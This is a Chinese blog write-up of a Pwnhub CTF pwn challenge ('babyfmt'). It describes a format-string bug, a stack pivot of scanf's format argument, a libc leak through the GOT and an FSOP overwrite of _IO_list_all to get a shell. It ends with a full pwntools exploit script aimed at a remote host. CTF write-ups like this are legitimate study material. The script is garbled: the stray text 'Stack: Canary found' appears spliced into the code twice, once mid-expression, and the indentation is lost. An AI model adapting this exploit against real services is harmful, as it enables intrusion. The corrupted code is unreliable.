Pwnhub Panda's gift

写在前面

本萌新又开始玩pwn了,这次试一试pwnhub,竟然做出来了,希望有朝一日成为大佬。

题目描述

首先,题目是x64,开的保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

功能:

1
2
3
4
1.set name
2.set motto
3.show motto
4.Exit

且每个功能只能调用一次,除非修改bss段上的一个用作判断的值。

name和motto存放在mmap映射的空间中,空间的地址是由当前时间做种子生成的伪随机数与0xFFFFFFFF相与。

题目漏洞

题目存在一个格式化字符串的漏洞,处在1功能中,并且这个漏洞经历了两次函数调用,(第一次调用的函数没有其他代码,直接调用第二个函数)。有一次的scanf,其参数在栈中,这个漏洞在3功能中。

但是我们的格式化字符串只允许写入6个字符。

解题思路

修改scanf参数

既然,scanf的参数在栈中,只要我们能修改,就可以达到修改scanf参数的目的。

首先,我们虽然只能写入6个字符,不能达到写任何数据,但是我们可以写入\x00,另外我们的printf和主函数中间加了一个函数,于是返回时,栈就会抬高。这样,我们就可以通过将rbp的最后一个双字改为0,这样栈就能被抬高,这样,本来scanf的格式的参数(放在栈中),就会被抬高到我们可控的区间。

修改前栈空间

1
2
3
4
5
6
7
8
9
10
0000| 0x7ffc62400110 --> 0x7ffc62400120 --> 0x7ffc62400150 --> 0x7ffc62400180 --> 0x7ffc62619320 --> 0x400fb0 (push   r15)
0008| 0x7ffc62400118 --> 0x400d47 (nop)
0016| 0x7ffc62400120 --> 0x7ffc62400150 --> 0x7ffc62400180 --> 0x7ffc62619320 --> 0x400fb0 (push r15)
0024| 0x7ffc62400128 --> 0x400eba (jmp 0x400f4b)
0032| 0x7ffc62400130 --> 0x0
0040| 0x7ffc62400138 --> 0x100400bf8
0048| 0x7ffc62400140 --> 0x4010bc --> 0x796e6f6e61006425 ('%d')
0056| 0x7ffc62400148 --> 0x99eb47c21da21700
----------------------------------
RBP: 0x7ffc62400110 --> 0x7ffc62400120 --> 0x7ffc62400150 --> 0x7ffc62400180 --> 0x7ffc62619320 --> 0x400fb0 (push r15)

修改后栈空间

1
2
3
4
5
6
7
8
0000| 0x7ffc62400110 --> 0x7ffc62400120 --> 0x7ffc62400000 --> 0x400980 (xor    ebp,ebp)
0008| 0x7ffc62400118 --> 0x400d47 (nop)
0016| 0x7ffc62400120 --> 0x7ffc62400000 --> 0x400980 (xor ebp,ebp)
0024| 0x7ffc62400128 --> 0x400eba (jmp 0x400f4b)
0032| 0x7ffc62400130 --> 0x0
0040| 0x7ffc62400138 --> 0x100400bf8
0048| 0x7ffc62400140 --> 0x4010bc --> 0x796e6f6e61006425 ('%d')
0056| 0x7ffc62400148 --> 0x99eb47c21da21700

0x7ffc62400000上面有一部分值是我们添加motto时可控的,于是我们就能把scanf的参数改掉:

0x7ffc623ffff0就是我们存放参数的地方,我们可以使得其中内容为我们可以控制的地方,比如说能放置motto的mmap的空间:

1
0x7ffc623ffff0:	0x000000001ca13000

然后只要我们在motto上写入我们想要的格式。

leak address

当我们控制了scanf的格式后,我们就能对其参数进行修改。

栈上有这样的内容:

1
0032| 0x7ffc62400150 --> 0x7ffc62400180 --> 0x7ffc62619320 --> 0x400fb0 (push   r15)

于是我们通过修改0x7ffc62400150使得0x7ffc62400180指向的地址改变,之后修改0x7ffc62400180,改变0x7ffc62400180指向的地址中的内容,从而达到任意写。

经过计算,参数的偏移是10和16,于是,我们可以构造出这样的格式串,%d,%10$ld,%16$s,后面我们还需要使用3号功能,于是我们需要在之前加上%d。这样我们传入放置motto的地址,之后放入got表的地址,就能将got表的地址写入motto,这样我们调用3功能,就能leak出libc的地址。

1
0032| 0x7ffc62400150 --> 0x7ffc62400180 --> 0x602058 --> 0x601ff0 --> 0x7f041d70d030 (<__GI_exit>:	)

于是就能得到地址了。

修改 _IO_list_all

本题got表不可写,vtable处也不可写,于是我就使用了FSOP(可以看我上篇文章,bctf,baby_arena),写好之后,getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#coding=UTF-8
#author = rainbow541
from pwn import *
from ctypes import cdll

#context.log_level = 'debug'
bin = ELF('./babyfmt')

def set_name(p,text):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('name:')
p.sendline(text)

def set_motto(p,text):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('motto:')
p.sendline(text)

def pwn(i,local):
if local == 1:
p = process('./babyfmt')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote('54.222.191.56',9999)
libc = ELF('./libc-2.23.so')
libcc = cdll.LoadLibrary("./libc-2.23.so")

address_dest = 0x0000000000602058
#----mmap address-----
time = libcc.time(0) + i
print "time:"+str(i)
libcc.srand(time)
v2 = libcc.rand() & 0xFFFFF000
v3 = libcc.rand() & 0xFFFFF000
success("v2: "+hex(v2))
success("dest: "+hex(v3))
#--------------------------
#-------------fake file---
fake_file = p64(0)*5
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(v3+40+(28*8))
#----------leak address---
payload_stack = '%d,%10$ld,%16$s'
set_motto(p,payload_stack + 'A'*(4*8-len(payload_stack))+p64(v3)+fake_file)
print pidof(p)
Stack: Canary found
payload = "%6$hn"
set_name(p,payload)
p.sendline("3,"+str(address_dest)+","+p64(bin.got['exit']))
print p.recvuntil(">")
sleep(0.5)
address = p.recvuntil("\n")[:-1]
print address
#--------------------------
libc_exit_address = u64(address + '\x00'*(8-len(address)))
success("libc_exit_address: "+hex(libc_exit_address))
libc.address = libc_exit_address - libc.symbols['exit']
success('libc_address: '+hex(libc.address))

#---------------------------

p.sendline("2,"+str(v3+40+(28*8)) + "," + p64(libc.
Stack: Canary foundaddress + 0xf02a4)*21)
p.sendline("2,"+str(libc.symbols['_IO_list_all']) + "," + p64(v3+40))
p.interactive()

pwn(0,1)

后记

比赛第一天本地通了,远程一直没通,第二天换了台电脑,通了。。。。。。。

感谢老爷打赏
显示 Gitment 评论
undefined